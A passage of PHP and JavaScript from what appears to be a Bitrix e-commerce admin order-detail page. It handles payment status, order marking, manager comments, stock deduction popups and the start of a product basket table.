"USER_ID" => $arOrder["USER_ID"],
"CURRENCY" => $arOrder["CURRENCY"],
"LOCKED" => "N"
)
);
$arUserAccount = $dbUserAccount->GetNext();
?>
<tr id="user_budget" style="display:<?=($arOrder["PAYED"] == "N" && floatval($arUserAccount["CURRENT_BUDGET"]) >= $arOrder["PRICE"]) ? 'table-row' : 'none'?>">
<td class="head" nowrap><?=GetMessage('SOD_ORDER_USER_BUDGET')?>:</td>
<td id="price_user_budget"><b><?=SaleFormatCurrency($arUserAccount["CURRENT_BUDGET"], $arOrder["CURRENCY"]);?></b></td>
</tr>
<tr id="pay_from_account" style="display:<?=($arOrder["PAYED"] == "N" && count($arUserAccount) > 1 && floatval($arUserAccount["CURRENT_BUDGET"]) >= $arOrder["PRICE"]) ? 'table-row' : 'none'?>">
<td class="head" nowrap><label for="FORM_PAY_FROM_ACCOUNT"><?=GetMessage('SOD_PAY_ACCOUNT')?>:</label></td>
<td>
<input type="checkbox" value="Y" name="FORM_PAY_FROM_ACCOUNT" id="FORM_PAY_FROM_ACCOUNT" />
</td>
</tr>
<tr id="cancel_allow_pay" style="display:<?=($arOrder["PAYED"] == "Y") ? 'table-row' : 'none'?>">
<td class="head"><label for="FORM_ALLOW_PAY_CANCEL"><?=GetMessage('SOD_POPUP_PAY_CANCEL')?>:</label></td>
<td>
<input type="checkbox" name="FORM_ALLOW_PAY_CANCEL" id="FORM_ALLOW_PAY_CANCEL" value="N" />
</td>
</tr>
<tr id="repay_to_account" style="display:<?=($arOrder["PAYED"] == "Y") ? 'table-row' : 'none'?>">
<td class="head"><label for="FORM_PAY_FROM_ACCOUNT_BACK"><?=GetMessage('SOD_PAY_ACCOUNT_BACK')?>:</label></td>
<td>
<input type="checkbox" name="FORM_PAY_FROM_ACCOUNT_BACK" id="FORM_PAY_FROM_ACCOUNT_BACK" value="N" />
</td>
</tr>
</table>
</div>
<script type="text/javascript">
function fPayChangeOrderStatus()
{
BX('change_status').value='Y';
BX('change_status_popup').value='Y';
var obStatusErr = BX('change_status_err');
if (!!obStatusErr)
{
obStatusErr.innerHTML = '';
obStatusErr.style.display = 'none';
}
BX('STATUS_ID').value = BX.findChild(BX('sale-popup-pay'), {'attr': {id: 'FORM_PAY_STATUS_ID'}}, true, false).value;
}
function fChangePayResult(res)
{
var rs = eval( '('+res+')' );
BX.closeWait();
if (rs["message"] == "ok")
{
if (rs["PAYED"] == "Y")
{
var emp_payed = '';
BX('summary_pay').style.display = "none";
BX('pay_pay_user').style.display = "none";
BX('pay_is_pay').style.display = "table-row";
if (rs["DATE_PAYED"] && rs["DATE_PAYED"].length > 0)
{
emp_payed = rs["DATE_PAYED"]+' ';
if (rs["EMP_PAYED_ID"] && rs["EMP_PAYED_ID"].length > 0)
emp_payed += rs["EMP_PAYED_ID"];
if (BX('pay_date_pay_format') && emp_payed.length > 0)
BX('pay_date_pay_format').innerHTML = emp_payed;
BX('pay_date_pay').style.display = "table-row";
}
if (rs["PAY_DOC_NUMBER_FORMAT"] && rs["PAY_DOC_NUMBER_FORMAT"].length > 0)
{
BX('payed_doc_number_format').innerHTML = rs["PAY_DOC_NUMBER_FORMAT"];
BX('pay_allow_pay').style.display = "table-row";
}
BX('user_budget').style.display = "none";
BX('pay_from_account').style.display = "none";
BX('cancel_allow_pay').style.display = "table-row";
BX('repay_to_account').style.display = "table-row";
}
else
{
BX('summary_pay').style.display = "table-row";
BX('pay_pay_user').style.display = "table-row";
BX('pay_allow_pay').style.display = "none";
BX('pay_date_pay').style.display = "table-row";
BX('pay_is_pay').style.display = "none";
if (rs["BUDGET_ENABLE"] && rs["BUDGET_ENABLE"] == "Y")
{
BX('price_user_budget').innerHTML = "<b>"+rs["BUDGET_USER"]+"</b>";
BX('user_budget').style.display = "table-row";
BX('pay_from_account').style.display = "table-row";
}
BX('cancel_allow_pay').style.display = "none";
BX('repay_to_account').style.display = "none";
}
if (!!rs.STATUS_ERR && true == rs.STATUS_ERR)
{
var obStatusErr = BX('change_status_err');
if (!!obStatusErr)
{
obStatusErr.innerHTML = rs.STATUS_ERR_MESS;
obStatusErr.style.display = 'inline-block';
}
}
else
{
if (BX('date_status_change') && rs['DATE_STATUS'].length > 0)
BX('date_status_change').innerHTML = rs['DATE_STATUS'] + ' ' + rs['EMP_STATUS_ID'];
if (rs['STATUS_ID'] && rs['STATUS_ID'].length > 0)
BX('STATUS_ID').value = rs['STATUS_ID'];
}
}
fCheckReservationResult(rs);
BX('change_status').value='N';
BX('change_status_popup').value='N';
}
function fShowAllowPay(el)
{
BX('FORM_PAY_STATUS_ID').value = BX('STATUS_ID').value;
if (BX('FORM_ALLOW_PAY_CANCEL'))
BX('FORM_ALLOW_PAY_CANCEL').checked = false;
if (BX('FORM_PAY_FROM_ACCOUNT_BACK'))
BX('FORM_PAY_FROM_ACCOUNT_BACK').checked = false;
if (BX('FORM_PAY_FROM_ACCOUNT'))
BX('FORM_PAY_FROM_ACCOUNT').checked = false;
formAllowPay = BX.PopupWindowManager.create("sale-popup-pay", BX('payed_name'), {
offsetTop : -100,
offsetLeft : -150,
autoHide : true,
closeByEsc : true,
closeIcon : true,
titleBar : true,
draggable: {restrict:true},
titleBar: {content: BX.create("span", {html: '<?=GetMessageJS('SOD_POPUP_PAY_TITLE')?>', 'props': {'className': 'sale-popup-title-bar'}})},
content : document.getElementById("popup_form_pay")
});
formAllowPay.setButtons([
new BX.PopupWindowButton({
text : "<?=GetMessage('SOD_POPUP_SAVE')?>",
className : "",
events : {
click : function()
{
BX.showWait();
payed = "Y";
if (BX('FORM_ALLOW_PAY_CANCEL') && BX.findChild(BX('sale-popup-pay'), {'attr': {id: 'FORM_ALLOW_PAY_CANCEL'}}, true, false).checked)
payed = "N";
pay_date = BX.findChild(BX('popup_form_pay'), {'attr': {name: 'FROM_PAY_VOUCHER_DATE'}}, true, false).value;
pay_num = BX('FORM_PAY_VOUCHER_NUM').value;
var change_status = 'N';
var status_id = '';
if (BX('change_status') && BX('change_status').value == 'Y')
{
change_status = BX('change_status').value;
status_id = BX('STATUS_ID').value;
}
var pay_from_account = "";
if (BX('FORM_PAY_FROM_ACCOUNT') && BX.findChild(BX('sale-popup-pay'), {'attr': {id: 'FORM_PAY_FROM_ACCOUNT'}}, true, false).checked)
pay_from_account = 'Y';
var pay_from_account_back = "";
if (BX('FORM_PAY_FROM_ACCOUNT_BACK') && BX.findChild(BX('sale-popup-pay'), {'attr': {id: 'FORM_PAY_FROM_ACCOUNT_BACK'}}, true, false).checked)
pay_from_account_back = 'Y';
var change_status_popup = 'N';
if (BX('change_status_popup') && BX('change_status_popup').value == 'Y')
change_status_popup = BX('change_status_popup').value;
BX.ajax.post('/bitrix/admin/sale_order_detail.php', '<?=CUtil::JSEscape(bitrix_sessid_get())?>&ORDER_AJAX=Y&save_order_data=Y&STATUS_ID='+status_id+'&change_status='+change_status+'&change_status_popup='+change_status_popup+'&change_pay_form=Y&PAYED='+payed+'&PAY_VOUCHER_NUM='+pay_num+'&PAY_VOUCHER_DATE='+pay_date+'&PAY_FROM_ACCOUNT='+pay_from_account+'&PAY_FROM_ACCOUNT_BACK='+pay_from_account_back+'&ID=<?=$ID?>', fChangePayResult);
formAllowPay.close();
}
}
}),
new BX.PopupWindowButton({
text : "<?=GetMessage('SOD_POPUP_CANCEL')?>",
className : "",
events : {
click : function()
{
formAllowPay.close();
}
}
})
]);
formAllowPay.show();
BX('FORM_PAY_VOUCHER_NUM').focus();
}
</script>
</td>
</tr>
<?
$tabControl->EndCustomField("ORDER_PAYED", '');
$arPaySys = CSalePaySystem::GetByID($arOrder["PAY_SYSTEM_ID"], $arOrder["PERSON_TYPE_ID"]);
if (strlen($arOrder["PS_STATUS"]) > 0)
{
$tabControl->AddSection("ps_stat", GetMessage("P_ORDER_PS_STATUS"));
$tabControl->BeginCustomField("ORDER_PS_STATUS", GetMessage("P_ORDER_PS_STATUS"));
?>
<tr>
<td><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td>
<?
echo (($arOrder["PS_STATUS"]=="Y") ? "OK" : "N");
if (!$boolLocked)
{
if (!$crmMode && $arPaySys["PSA_HAVE_RESULT"] == "Y" || strlen($arPaySys["PSA_RESULT_FILE"]) > 0)
{
?>
<a href="/bitrix/admin/sale_order_detail.php?ID=<?= $ID ?>&action=ps_update&lang=<? echo LANGUAGE_ID; ?><?echo GetFilterParams("filter_")?>&<?= bitrix_sessid_get() ?>"><?echo GetMessage("P_ORDER_PS_STATUS_UPDATE") ?> >></a>
<?
}
}
?>
</td>
</tr>
<?
$tabControl->EndCustomField("ORDER_PS_STATUS", '');
$tabControl->BeginCustomField("ORDER_PS_STATUS_CODE", GetMessage("P_ORDER_PS_STATUS"));
?>
<tr>
<td><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td><?echo $arOrder["PS_STATUS_CODE"] ;?></td>
</tr>
<?
$tabControl->EndCustomField("ORDER_PS_STATUS_CODE", '');
$tabControl->BeginCustomField("ORDER_PS_STATUS_DESCRIPTION", GetMessage("P_ORDER_PS_STATUS_DESCRIPTION"));
?>
<tr>
<td><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td><?echo $arOrder["PS_STATUS_DESCRIPTION"] ;?></td>
</tr>
<?
$tabControl->EndCustomField("ORDER_PS_STATUS_DESCRIPTION", '');
$tabControl->BeginCustomField("ORDER_PS_STATUS_MESSAGE", GetMessage("P_ORDER_PS_STATUS_MESSAGE"));
?>
<tr>
<td><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td><?echo $arOrder["PS_STATUS_MESSAGE"] ;?></td>
</tr>
<?
$tabControl->EndCustomField("ORDER_PS_STATUS_MESSAGE", '');
$tabControl->BeginCustomField("ORDER_PS_SUM", GetMessage("P_ORDER_PS_SUM"));
?>
<tr>
<td><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td><?echo $arOrder["PS_SUM"] ;?></td>
</tr>
<?
$tabControl->EndCustomField("ORDER_PS_SUM", '');
$tabControl->BeginCustomField("ORDER_PS_CURRENCY", GetMessage("P_ORDER_PS_CURRENCY"));
?>
<tr>
<td><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td><?echo $arOrder["PS_CURRENCY"] ;?></td>
</tr>
<?
$tabControl->EndCustomField("ORDER_PS_CURRENCY", '');
$tabControl->BeginCustomField("ORDER_PS_RESPONSE_DATE", GetMessage("P_ORDER_PS_RESPONSE_DATE"));
?>
<tr>
<td><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td><?echo $arOrder["PS_RESPONSE_DATE"]; ?></td>
</tr>
<?
$tabControl->EndCustomField("ORDER_PS_RESPONSE_DATE", '');
}
elseif (!$crmMode && $arPaySys["PSA_HAVE_RESULT"] == "Y" || strlen($arPaySys["PSA_RESULT_FILE"]) > 0)
{
$tabControl->AddSection("ps_stat", GetMessage("P_ORDER_PS_STATUS"));
$tabControl->BeginCustomField("ORDER_PS_STATUS_REC", GetMessage("P_ORDER_PS_STATUS"));
?>
<tr>
<td><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td><?
if (!$boolLocked)
{
?><a href="/bitrix/admin/sale_order_detail.php?ID=<?= $ID ?>&action=ps_update&lang=<? echo LANGUAGE_ID; ?><?= GetFilterParams("filter_") ?>&<?= bitrix_sessid_get() ?>"><?= GetMessage("P_ORDER_PS_STATUS_UPDATE") ?> >></a><?
}
else
{
?><span style="text-decoration: line-through;" title="<? echo $strLockUserExt; ?>"><? echo GetMessage("P_ORDER_PS_STATUS_UPDATE"); ?></span><?
}
?></td>
</tr>
<?
$tabControl->EndCustomField("ORDER_PS_STATUS_REC", '');
}
//order mark
$tabControl->AddSection("order_mark", GetMessage("P_ORDER_MARK"));
$tabControl->BeginCustomField("ORDER_MARKED", GetMessage("SOD_MARKED_Y"));
?>
<tr id="btn_show_marked" style="display:<?=($arOrder["MARKED"] == "N" && $bUserCanMarkOrder) ? 'table-row' : 'none'?>">
<td width="40%"><?=GetMessage("SOD_MARKED")?>:</td>
<td valign="middle">
<?=GetMessage("SALE_NO")?>
<!-- <a title="<?=GetMessage('SOD_MARKED')?>" onClick="fShowMarkOrder(this, '');" class="adm-btn-wrap" href="javascript:void(0);"><span class="adm-btn"><?=GetMessage('SOD_MARKED')?></span></a> -->
</td>
</tr>
<tr id="user_can_mark" style="display:<?=($arOrder["MARKED"] == "N" && !$bUserCanMarkOrder) ? 'table-row' : 'none'?>">
<td width="40%">
<?=GetMessage("SOD_MARKED")?>:
</td>
<td valign="middle">
<?=GetMessage("SALE_NO")?>
</td>
</tr>
<tr id="btn_mark_cancel" style="display:<?=($arOrder["MARKED"] != "N") ? 'table-row' : 'none'?>">
<td>
<span class="order_cancel_left"><?=GetMessage("SOD_MARKED")?>:</span>
</td>
<td>
<span class="order_marked_right"><?=GetMessage("SALE_YES")?></span>
</td>
</tr>
<tr id="date_change_mark" style="display:<?=(strlen($arOrder["DATE_MARKED"]) > 0 && $arOrder["MARKED"] == "Y") ? 'table-row' : 'none'?>">
<td>
<?=GetMessage('SOD_DATE_MARKED');?>:
</td>
<td id="date_change_mark_user">
<?=$arOrder["DATE_MARKED"]?>
<?if (!$crmMode && IntVal($arOrder["EMP_MARKED_ID"]) > 0)
echo GetFormatedUserName($arOrder["EMP_MARKED_ID"], false);
?>
</td>
</tr>
<tr id="reason_mark" style="display:<?=($arOrder["MARKED"] != "N") ? 'table-row' : 'none'?>">
<td>
<?=GetMessage('SOD_MARK_REASON_TITLE')?>:
</td>
<td id="reason_mark_text">
<?=htmlspecialcharsbx($arOrder["REASON_MARKED"])?>
</td>
</tr>
<tr id="btn_mark_cancel_button" style="display:<?=($arOrder["MARKED"] != "N") ? 'table-row' : 'none'?>">
<td width="40%"> </td>
<td>
<?if($bUserCanMarkOrder)
{
if (!$boolLocked)
{
?><a href="javascript:void(0);" onclick="fCancelMarkOrder();" class="adm-btn-wrap"><span class="adm-btn"><?=GetMessage('SOD_MARK_N');?></span></a><?
}
else
{
?><a href="javascript:void(0);" class="adm-btn-wrap" title="<? echo $strLockUserExt; ?>"><span class="adm-btn-disabled"><?=GetMessage('SOD_MARK_N');?></span></a><?
}
}
?>
</td>
</tr>
<tr>
<td valign="top">
<div id="popup_mark_order_form" class="sale_popup_form" style="display:none; font-size:13px;">
<table>
<tr>
<td colspan="2"><?=GetMessage('SOD_MARK_REASON_TITLE')?><br />
<textarea name="FORM_REASON_MARKED" id="FORM_REASON_MARKED" rows="3" cols="30"><?= htmlspecialcharsEx($arOrder["REASON_MARKED"]) ?></textarea><br />
</td>
</tr>
</table>
</div>
<script type="text/javascript">
function fCancelMarkOrder()
{
BX.showWait();
BX.ajax.post('/bitrix/admin/sale_order_detail.php', '<?=CUtil::JSEscape(bitrix_sessid_get())?>&ORDER_AJAX=Y&save_order_data=Y&'+'&change_marked=Y&MARKED=N&ID=<?=$ID?>', fCancelMarkOrderResult);
}
function fCancelMarkOrderResult(res)
{
var rs = eval( '('+res+')' );
BX.closeWait();
if (rs["message"] == "ok")
{
BX('date_change_mark').style.display = "none";
BX('btn_show_marked').style.display = "table-row";
BX('reason_mark').style.display = "none";
BX('btn_mark_cancel').style.display = "none";
BX('btn_mark_cancel_button').style.display = "none";
if (rs["DATE_MARKED"].length > 0)
BX('date_change_mark_user').innerHTML = rs["DATE_MARKED"];
if ( typeof rs["EMP_MARKED_ID"] != "undefined" )
BX('date_change_mark_user').innerHTML += rs["EMP_MARKED_ID"];
}
}
function fChangeMarkResult(res)
{
// todo: not used now
}
function fShowMarkOrder(el, type)
{
formMarkOrder = BX.PopupWindowManager.create("sale-popup-mark", el, {
offsetTop : -100,
offsetLeft : -150,
autoHide : true,
closeByEsc : true,
closeIcon : true,
titleBar : true,
draggable: {restrict:true},
titleBar: {content: BX.create("span", {html: '<?=GetMessageJS('SOD_MARK_ORDER')?>', 'props': {'className': 'sale-popup-title-bar'}})},
content : BX("popup_mark_order_form")
});
formMarkOrder.setButtons([
new BX.PopupWindowButton({
text : "<?=GetMessage('SOD_POPUP_SAVE')?>",
className : "",
events : {
click : function()
{
BX.showWait();
BX.ajax.post('/bitrix/admin/sale_order_detail.php', '<?=CUtil::JSEscape(bitrix_sessid_get())?>&ORDER_AJAX=Y&save_order_data=Y&'+'&change_marked=Y&MARKED=Y&REASON_MARKED='+BX.util.urlencode(BX('FORM_REASON_MARKED').value)+'&ID=<?=$ID?>', fChangeMarkResult);
formMarkOrder.close();
}
}
}),
new BX.PopupWindowButton({
text : "<?=GetMessage('SOD_POPUP_CANCEL')?>",
className : "",
events : {
click : function()
{
BX('FORM_REASON_MARKED').value = '';
formMarkOrder.close();
}
}
})
]);
formMarkOrder.show();
BX('FORM_REASON_MARKED').focus();
}
</script>
</td>
</tr>
<?
$tabControl->EndCustomField("ORDER_MARKED", '');
$tabControl->AddSection("order_comments", GetMessage("SOD_COMMENTS"));
$tabControl->BeginCustomField("ORDER_COMMENTS", GetMessage("SOD_COMMENTS"));
if (strlen($arOrder["USER_DESCRIPTION"])>0)
{
?>
<tr>
<td valign="top"><?echo GetMessage("P_ORDER_USER_COMMENTS")?>:</td>
<td valign="middle"><?echo htmlspecialcharsEx($arOrder["USER_DESCRIPTION"]); ?></td>
</tr>
<?
}
if (strlen($arOrder["ADDITIONAL_INFO"])>0)
{
?>
<tr>
<td valign="top"><?echo GetMessage("P_ORDER_ADDITIONAL_INFO")?>:</td>
<td valign="middle"><?echo htmlspecialcharsEx($arOrder["ADDITIONAL_INFO"]); ?></td>
</tr>
<?
}
?>
<tr>
<td valign="top"><?echo GetMessage('SOD_ORDER_COMMENT_MANAGER_TITLE');?>:</td>
<td valign="middle">
<div id="hover_comment"><?
if (!$boolLocked)
{
?>
<span id="manager-comment-title" onClick="fShowComment(this);">
<?
if('' != $arOrder["COMMENTS"])
{
echo htmlspecialcharsbx($arOrder["COMMENTS"]);
}
else
{
echo GetMessage('SOD_ORDER_COMMENT_MANAGER');
}
?>
</span>
<span class="pencil"></span><?
}
else
{
if ('' != $arOrder["COMMENTS"])
{
echo htmlspecialcharsbx($arOrder["COMMENTS"]);
}
else
{
echo '<span style="text-decoration: line-through;" title="'.$strLockUserExt.'">'.GetMessage('SOD_ORDER_COMMENT_MANAGER').'</span>';
}
}
?>
</div>
<?
if (!$boolLocked)
{
?><textarea id="manager-comment-text" name="COMMENTS" class="comment" onChange="fEditComment(this, 'change');" onblur="fEditComment(this, 'exit');"><?= htmlspecialcharsbx($arOrder["COMMENTS"]) ?></textarea><?
}
?>
<input type="hidden" name="change_comments" id="id_change_comments_hidden" value="N">
<script type="text/javascript">
function fShowComment(el)
{
BX(el).style.display = 'none';
BX('manager-comment-text').style.display = 'block';
BX('manager-comment-text').focus();
}
function fEditComment(el, type)
{
if (type == 'change')
{
BX.showWait();
BX.ajax.post('/bitrix/admin/sale_order_detail.php', '<?=CUtil::JSEscape(bitrix_sessid_get())?>&ORDER_AJAX=Y&change=Y&comment='+BX.util.urlencode(el.value)+'&ID=<?=$ID?>', fEditCommentResult);
if (BX('manager-comment-text').value.length > 0)
BX('manager-comment-title').innerHTML = BX('manager-comment-text').value;
else
BX('manager-comment-title').innerHTML = '<?=GetMessage('SOD_ORDER_COMMENT_MANAGER')?>';
}
BX('manager-comment-title').style.display = 'inline-block';
BX('manager-comment-text').style.display = 'none';
}
function fEditCommentResult(res)
{
BX.closeWait();
}
</script>
</td>
</tr>
<?
$tabControl->EndCustomField("ORDER_COMMENTS", '');
$tabControl->AddSection("order_deduction", GetMessage("P_ORDER_DEDUCTION"));
$tabControl->BeginCustomField("ORDER_DEDUCTED", GetMessage("P_ORDER_DEDUCTED"));
?>
<tr id="deduct_message_yes" style="display: <?=($arOrder["DEDUCTED"] == "Y") ? "table-row" : "none" ?>" >
<td>
<span class="alloy_payed_left"><?=GetMessage("SOD_DEDUCTED")?>:</span>
</td>
<td valign="top">
<span class="alloy_payed_right"><?=GetMessage("SALE_YES")?></span>
</td>
</tr>
<tr id="deduct_message_no" style="display: <?=($arOrder["DEDUCTED"] == "N") ? "table-row" : "none" ?>" >
<td>
<?=GetMessage("SOD_DEDUCTED")?>:
</td>
<td valign="top">
<?=GetMessage("SALE_NO")?>
</td>
</tr>
<tr id="deduct_date" style="display:<?=(strlen($arOrder["DATE_DEDUCTED"]) > 0) ? 'table-row' : 'none'?>">
<td><?=GetMessage('SOD_DATE_DEDUCT_CHANGE');?>:</td>
<td id="date_deduct_format"><?=$arOrder["DATE_DEDUCTED"]?>
<?if (!$crmMode && IntVal($arOrder["EMP_DEDUCTED_ID"]) > 0)
echo GetFormatedUserName($arOrder["EMP_DEDUCTED_ID"], false);
?>
</td>
</tr>
<tr id="reason_deduct" style="display:<?=($arOrder["DATE_DEDUCTED"] > 0 && $arOrder["DEDUCTED"] == "N") ? 'table-row' : 'none'?>">
<td>
<?=GetMessage('SOD_UNDO_DEDUCT_REASON_TITLE')?>:
</td>
<td id="reason_deduct_text">
<?=htmlspecialcharsbx($arOrder["REASON_UNDO_DEDUCTED"])?>
</td>
</tr>
<tr id="btn_show_deduct" style="display:<?=($arOrder["DEDUCTED"] == "Y" && $bUserCanDeductOrder) ? 'table-row' : 'none'?>">
<td width="40%"> </td>
<td valign="middle"><?
if (!$boolLocked)
{
?><a title="<?=GetMessage('SOD_DEDUCT_N')?>" onclick="fShowUndoDeductOrder(this, '');" class="adm-btn-wrap" href="javascript:void(0);"><span class="adm-btn"><?=GetMessage('SOD_DEDUCT_N')?></span></a><?
}
else
{
?><a title="<? echo $strLockUserExt; ?>" class="adm-btn-wrap" href="javascript:void(0);"><span class="adm-btn-disabled"><?=GetMessage('SOD_DEDUCT_N')?></span></a><?
}
?>
</td>
</tr>
<tr>
<td valign="top">
<div id="popup_deduct_order_form" class="sale_popup_form" style="display:none; font-size:13px;">
<table>
<tr>
<td colspan="2"><?=GetMessage('SOD_UNDO_DEDUCT_REASON_TITLE')?><br />
<textarea name="FORM_REASON_UNDO_DEDUCT" id="FORM_REASON_UNDO_DEDUCT" rows="3" cols="30"><?= htmlspecialcharsEx($arOrder["REASON_UNDO_DEDUCTED"]) ?></textarea><br />
</td>
</tr>
</table>
</div>
<script type="text/javascript">
function fUndoDeductOrderResult(res)
{
BX.closeWait();
var rs = eval( '('+res+')' );
if (rs["message"] == "ok")
{
BX('deduct_message_yes').style.display = "none";
BX('deduct_message_no').style.display = "table-row";
BX('btn_show_deduct').style.display = "none";
BX('reason_deduct').style.display = "table-row";
if (rs["DATE_DEDUCTED"].length > 0)
BX('date_deduct_format').innerHTML = rs["DATE_DEDUCTED"] + ' ' + rs["EMP_DEDUCTED_ID"];
BX('reason_deduct_text').innerHTML = rs["REASON_UNDO_DEDUCTED"];
}
else
{
alert(rs["message"]);
}
}
//is used when setting DEDUCTION = "Y". possibly later
// function fChangeUndoDeductResult(res)
// {
// var rs = eval( '('+res+')' );
// BX.closeWait();
// if (rs["message"] == "ok")
// {
// var emp_undo_deduct_user = '';
// BX('btn_show_undo_deduct').style.display = "none";
// BX('btn_undo_deduct_undo_deduct').style.display = "table-row";
// if (rs["DATE_DEDUCTED"] && rs["DATE_DEDUCTED"].length > 0)
// emp_undo_deduct_user = rs["DATE_DEDUCTED"];
// if (rs["EMP_DEDUCTED_ID"] && rs["EMP_DEDUCTED_ID"].length > 0)
// emp_undo_deduct_user += ' ' + rs["EMP_DEDUCTED_ID"];
// if (BX('date_change_undo_deduct_user') && emp_undo_deduct_user.length > 0)
// BX('date_change_undo_deduct_user').innerHTML = emp_undo_deduct_user;
// BX('date_change_undo_deduct').style.display = "table-row";
// BX('reason_undo_deduct_text').innerHTML = BX('FORM_REASON_UNDO_DEDUCT').value;
// BX('reason_undo_deduct').style.display = "table-row";
// }
// }
function fShowUndoDeductOrder(el, type)
{
formUndoDeductOrder = BX.PopupWindowManager.create("sale-popup-deduct", el, {
offsetTop : -100,
offsetLeft : -150,
autoHide : true,
closeByEsc : true,
closeIcon : true,
titleBar : true,
draggable: {restrict:true},
titleBar: {content: BX.create("span", {html: '<?=GetMessageJS('SOD_UNDO_DEDUCT_ORDER')?>', 'props': {'className': 'sale-popup-title-bar'}})},
content : BX("popup_deduct_order_form")
});
formUndoDeductOrder.setButtons([
new BX.PopupWindowButton({
text : "<?=GetMessage('SOD_POPUP_SAVE')?>",
className : "",
events : {
click : function()
{
BX.showWait();
var urlparams = '<?=CUtil::JSEscape(bitrix_sessid_get())?>&ORDER_AJAX=Y&save_order_data=Y&change_deduct=Y&UNDO_DEDUCT=Y&REASON_UNDO_DEDUCTED='+BX('FORM_REASON_UNDO_DEDUCT').value+'&ID=<?=$ID?>';
BX.ajax.post('/bitrix/admin/sale_order_detail.php', urlparams, fUndoDeductOrderResult);
formUndoDeductOrder.close();
}
}
}),
new BX.PopupWindowButton({
text : "<?=GetMessage('SOD_POPUP_CANCEL')?>",
className : "",
events : {
click : function()
{
BX('FORM_REASON_UNDO_DEDUCT').value = '';
formUndoDeductOrder.close();
}
}
})
]);
formUndoDeductOrder.show();
BX('FORM_REASON_UNDO_DEDUCT').focus();
}
</script>
</td>
</tr>
<?
$tabControl->EndCustomField("ORDER_DEDUCTED", '');
//order list
$tabControl->AddSection("buyer_order", GetMessage("SOD_ORDER"));
$tabControl->BeginCustomField("orders_list", GetMessage("SOD_ORDER"));
?>
<tr>
<td colspan="2" valign="top">
<!-- //? -->
<table id="BASKET_TABLE" cellpadding="3" cellspacing="1" border="0" width="100%" class="internal">
<tr class="heading">
<?=getColumnsHeaders($arUserColumns, "detail", false);?>
</tr>
<?
$bXmlId = COption::GetOptionString("sale", "show_order_product_xml_id", "N");
$arCurFormat = CCurrencyLang::GetCurrencyFormat($arOrder["CURRENCY"]);
$CURRENCY_FORMAT = trim(str_replace("#", '', $arCurFormat["FORMAT_STRING"]));
$ORDER_TOTAL_PRICE = 0;
$ORDER_TOTAL_WEIGHT = 0;
$arFilterRecomendet = array();
$arBasketProps = array();
$bUseCatalog = (CModule::IncludeModule("catalog")) ? true : false;
$bUseIblock = (CModule::IncludeModule("iblock")) ? true : false;
$arBasketItems = getMeasures($arBasketItems);
if(!empty($arBasketId))
{
//select props from basket
$arPropsFilter = array("BASKET_ID" => $arBasketId);
if ($bXmlId == "N")
$arPropsFilter["!CODE"] = array("PRODUCT.XML_ID", "CATALOG.XML_ID");
$dbBasketPropsTmp = CSaleBasket::GetPropsList(
array("BASKET_ID" => "ASC", "SORT" => "ASC", "NAME" => "ASC"),
$arPropsFilter,
false,
false,
array("ID", "BASKET_ID", "NAME", "VALUE", "CODE", "SORT")
);
while ($arBasketPropsTmp = $dbBasketPropsTmp->Fetch())
$arBasketProps[$arBasketPropsTmp["BASKET_ID"]][] = $arBasketPropsTmp;
$arBasketElement = array();
$arElementData = array();
if (!empty($arElementId)) // get properties for iblock elements and their parents (if any)
{
$arSelect = array_merge(
array("ID", "PREVIEW_PICTURE", "DETAIL_PICTURE", "IBLOCK_TYPE_ID", "IBLOCK_ID", "IBLOCK_SECTION_ID"),
$arSelectProps
);
$arProductData = getProductProps($arElementId, $arSelect);
foreach ($arProductData as $key => &$value)
{
if (array_key_exists($value["ID"], $arSku2Parent)) // if sku element
{
if ($value["PREVIEW_PICTURE"] == "")
$value["PREVIEW_PICTURE"] = $arProductData[$arSku2Parent[$value["ID"]]]["PREVIEW_PICTURE"];
if ($value["DETAIL_PICTURE"] == "")
$value["DETAIL_PICTURE"] = $arProductData[$arSku2Parent[$value["ID"]]]["DETAIL_PICTURE"];
}
$arBasketElement[$value["ID"]] = $value;
$arBasketPropsValues[$key] = $value;
}
unset($value);
// if sku element doesn't have some property value - we'll show parent element value instead
foreach ($arBasketPropsValues as $key => &$arRecord)
{
if (array_key_exists($key, $arSku2Parent))
{
foreach ($arSelectProps as $field)
{
$fieldVal = $field."_VALUE";
$parentId = $arSku2Parent[$key];
if ((!isset($arRecord[$fieldVal]) || (isset($arRecord[$fieldVal]) && strlen($arRecord[$fieldVal]) == 0))
&& (isset($arProductData[$parentId][$fieldVal]) && !empty($arProductData[$parentId][$fieldVal]))) // fieldVal can be array or string
{
$arRecord[$fieldVal] = $arProductData[$parentId][$fieldVal];
}
}
}
}
unset($arRecord);
}
$productNumber = 0;
foreach ($arBasketItems as $arItem)
{
if (!CSaleBasketHelper::isSetItem($arItem))
{
$ORDER_TOTAL_PRICE += ($arItem["PRICE"] + $arItem["DISCOUNT_PRICE"]) * $arItem["QUANTITY"];
$arFilterRecomendet[] = $arItem["PRODUCT_ID"];
}
if (!CSaleBasketHelper::isSetParent($arItem))
{
$ORDER_TOTAL_WEIGHT += FloatVal($arItem["WEIGHT"] * $arItem["QUANTITY"]);
}
$hidden = "";
$setItemClass = "";
if (CSaleBasketHelper::isSetItem($arItem))
{
$hidden = "style=\"display:none\"";
$setItemClass = "class=\"set_item_".$arItem["SET_PARENT_ID"]."\"";
}
?>
<tr <?=$hidden?> <?=$setItemClass?>>
<?
if (!CSaleBasketHelper::isSetItem($arItem))
$productNumber++;
foreach ($arUserColumns as $columnCode => $columnName)
{
if ($columnCode == "COLUMN_NUMBER")
{
?>
<td class="COLUMN_NUMBER">
<div><?=(!CSaleBasketHelper::isSetItem($arItem)) ? $productNumber : ""?></div>
</td>
<?
}
if ($columnCode == "COLUMN_IMAGE")
{
?>
<td class="COLUMN_IMAGE">
<?
$productImg = "";
if ($bUseIblock)
{
$arProductInfo = $arBasketElement[$arItem["PRODUCT_ID"]];
if($arProductInfo["PREVIEW_PICTURE"] != "")
$productImg = $arProductInfo["PREVIEW_PICTURE"];
elseif($arProductInfo["DETAIL_PICTURE"] != "")
$productImg = $arProductInfo["DETAIL_PICTURE"];
}
if ($productImg != "")
{
$arFile = CFile::GetFileArray($productImg);
